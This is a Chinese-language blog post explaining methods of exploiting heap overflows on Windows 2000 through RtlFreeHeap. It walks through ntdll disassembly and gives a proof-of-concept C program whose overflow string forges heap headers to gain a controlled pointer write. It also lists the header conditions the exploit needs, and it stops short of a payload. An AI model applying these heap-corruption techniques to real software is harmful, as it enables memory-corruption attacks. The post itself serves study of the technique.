stylehack原創.windows下堆溢出的三種利用方式.

stylehack原創.windows下堆溢出的三種利用方式.

 

 可見第二種方式的前提有三個:
1)構造堆(buf2)的flag必須含有HEAP_ENTRY_BUSY和HEAP_ENTRY_VIRTUAL_ALLOC,可以設成0xff
2)構造堆的flag前面那個字節要比0x40小
3)構造堆的上一個堆(即buf1)的長度必須大於或等於0x18+0x08即32個字節,否則在關鍵點三處,ESI會指向我們不能控制的區域,造成利用失敗
還有ilsy提到字節構造的8字節管理結構的第一個字節必須大於0x80,在我的機器上並沒有必要(windows2000pro cn+sp4),他用0x99,我用0x03,也能成功利用

3.利用RtlFreeHeap的方式二

這是我研究堆溢出發現的第一種異常情況,之前不明就裏,花了2個小時看了幾篇帖子之後,認爲這是unlink本堆塊時發生的異常。
看例子

main (int argc, char *argv[])
{
char *buf1, *buf2;
char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/x03/x00/x05/x00/x00/x00/
x08/x00/x11/x11/x11/x11/x22/x22/x22/x22";

buf1 = (char*)malloc (32); /* 分配兩塊內存 */
buf2 = (char*)malloc (16);

memcpy (buf1, s, 32+16); /* 這裏多複製16個字節 */

free (buf1);
free (buf2);

return 0;
}

看起來和方式二很象,不過運行之後會發現,不同於上面提到的,這裏在free(buf1)時就出現異常。同樣再看看RtlFreeHeap的幾個關鍵點

關鍵點一
同方式二的關鍵點一,設法跳到關鍵點二

關鍵點二
001B:77FCC899 C745FC01000000 MOV DWORD PTR [EBP-04],00000001
001B:77FCC8A0 F6C301 TEST BL,01
001B:77FCC8A3 750F JNZ 77FCC8B4
001B:77FCC8A5 FFB778050000 PUSH DWORD PTR [EDI+00000578]
001B:77FCC8AB E853C8FBFF CALL ntdll!RtlEnterCriticalSection
001B:77FCC8B0 C645D401 MOV BYTE PTR [EBP-2C],01
001B:77FCC8B4 F6460508 TEST BYTE PTR [ESI+05],08 //flag是否含HEAP_ENTRY_VIRTUAL_ALLOC
001B:77FCC8B8 0F858BF2FFFF JNZ 77FCBB49 //含有則跳,這裏不能跳
001B:77FCC8BE 0FB706 MOVZX EAX,WORD PTR [ESI]
001B:77FCC8C1 8945D0 MOV [EBP-30],EAX
001B:77FCC8C4 F6470C80 TEST BYTE PTR [EDI+0C],80
001B:77FCC8C8 7515 JNZ 77FCC8DF
001B:77FCC8CA 6A00 PUSH 00
001B:77FCC8CC 8D45D0 LEA EAX,[EBP-30]
001B:77FCC8CF 50 PUSH EAX
001B:77FCC8D0 56 PUSH ESI
001B:77FCC8D1 57 PUSH EDI
001B:77FCC8D2 E8EA000000 CALL 77FCC9C1 //進入這個CALL

關鍵點三
001B:77FCC9C1 55 PUSH EBP
001B:77FCC9C2 8BEC MOV EBP,ESP
001B:77FCC9C4 53 PUSH EBX
001B:77FCC9C5 56 PUSH ESI
001B:77FCC9C6 8B750C MOV ESI,[EBP+0C]
001B:77FCC9C9 8B5D08 MOV EBX,[EBP+08]
001B:77FCC9CC 57 PUSH EDI
001B:77FCC9CD 8BFE MOV EDI,ESI //ESI指向buf1的起始地址
001B:77FCC9CF 0FB74602 MOVZX EAX,WORD PTR [ESI+02] //將buf1之前的堆的長度放入EAX
001B:77FCC9D3 C1E003 SHL EAX,03 //乘以8得到實際大小
001B:77FCC9D6 2BF8 SUB EDI,EAX //EDI指向buf1之前的堆的起始地址
001B:77FCC9D8 3BFE CMP EDI,ESI
001B:77FCC9DA 740A JZ 77FCC9E6
001B:77FCC9DC F6470501 TEST BYTE PTR [EDI+05],01 //上一個堆的flag是否含HEAP_ENTRY_BUSY
001B:77FCC9E0 0F8498E9FFFF JZ 77FCB37E //不能跳
001B:77FCC9E6 F6460510 TEST BYTE PTR [ESI+05],10 //上一個堆的flag是否含HEAP_ENTRY_LAST_ENTRY
001B:77FCC9EA 750F JNZ 77FCC9FB //不能跳
001B:77FCC9EC 8B4510 MOV EAX,[EBP+10]
001B:77FCC9EF 8B00 MOV EAX,[EAX] //buf1的堆的長度
001B:77FCC9F1 F644C60501 TEST BYTE PTR [EAX*8+ESI+05],
01 //buf2的堆的flag是否含HEAP_ENTRY_BUSY
001B:77FCC9F6 8D3CC6 LEA EDI,[EAX*8+ESI] //EDI指向buf2的起始地址
001B:77FCC9F9 7409 JZ 77FCCA04 //不含則跳(合併空閒堆?),這裏要跳
001B:77FCC9FB 8BC6 MOV EAX,ESI
001B:77FCC9FD 5F POP EDI
001B:77FCC9FE 5E POP ESI
001B:77FCC9FF 5B POP EBX
001B:77FCCA00 5D POP EBP
001B:77FCCA01 C21000 RET 0010
001B:77FCCA04 0FB70F MOVZX ECX,WORD PTR [EDI] //ECX即buf2的堆的長度
001B:77FCCA07 03C8 ADD ECX,EAX //加上buf1的堆的長度
001B:77FCCA09 81F900FE0000 CMP ECX,0000FE00 //是否大於0xfe00
001B:77FCCA0F 77EA JA 77FCC9FB //大於則跳,這裏不能跳
001B:77FCCA11 807D1400 CMP BYTE PTR [EBP+14],00
001B:77FCCA15 0F85FB210000 JNZ 77FCEC16
001B:77FCCA1B 8A4705 MOV AL,[EDI+05] //AL即buf2的flag
001B:77FCCA1E 2410 AND AL,10 //是否含HEAP_ENTRY_LAST_ENTRY
001B:77FCCA20 A810 TEST AL,10
001B:77FCCA22 884605 MOV [ESI+05],AL //將buf1的flag置爲HEAP_ENTRY_LAST_ENTRY
001B:77FCCA25 754B JNZ 77FCCA72 //含則跳,這裏不能跳
001B:77FCCA27 57 PUSH EDI
001B:77FCCA28 53 PUSH EBX
001B:77FCCA29 E80CCBFBFF CALL 77F8953A
001B:77FCCA2E 8B4F0C MOV ECX,[EDI+0C] //將buf2的0x0c偏移給ECX
001B:77FCCA31 8B4708 MOV EAX,[EDI+08] //將buf2的0x08偏移給EAX
001B:77FCCA34 3BC1 CMP EAX,ECX
001B:77FCCA36 8901 MOV [ECX],EAX //這裏發生異常
001B:77FCCA38 894804 MOV [EAX+04],ECX

方式三和方式二都是利用RtlFreeHeap函數,它們的分岔口在於關鍵點二的

001B:77FCC8B8 0F858BF2FFFF JNZ 77FCBB49

方式二在這裏要跳,方式三不能跳,從而進入下面的CALL(關鍵點三)
發生異常時ECX=0x22222222,EAX=0x11111111,這是我們能控制的。
可見方式三的前提有三個
1)構造堆(buf2)的長度不能爲0
2)構造堆的上一個堆(buf1)和構造堆的長度相加不能大於0xfe00(div8之後)
3)構造堆的flag不能包含HEAP_ENTRY_BUSY

除了以上三種利用方式還有一種,和方式三差不多,不過是在free(buf2)時發生異常,應該是由於在合併下一個堆時長度計算錯誤造成的,具體就不分析了,類似於linux下的堆溢出,不過windows下不能將堆長度設爲負數,造成一定的麻煩,sign

溢出之後的事情就不再說了。寫這些主要爲了分析總結一些東西,希望對初學者有幫助,不當之處請指正。 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章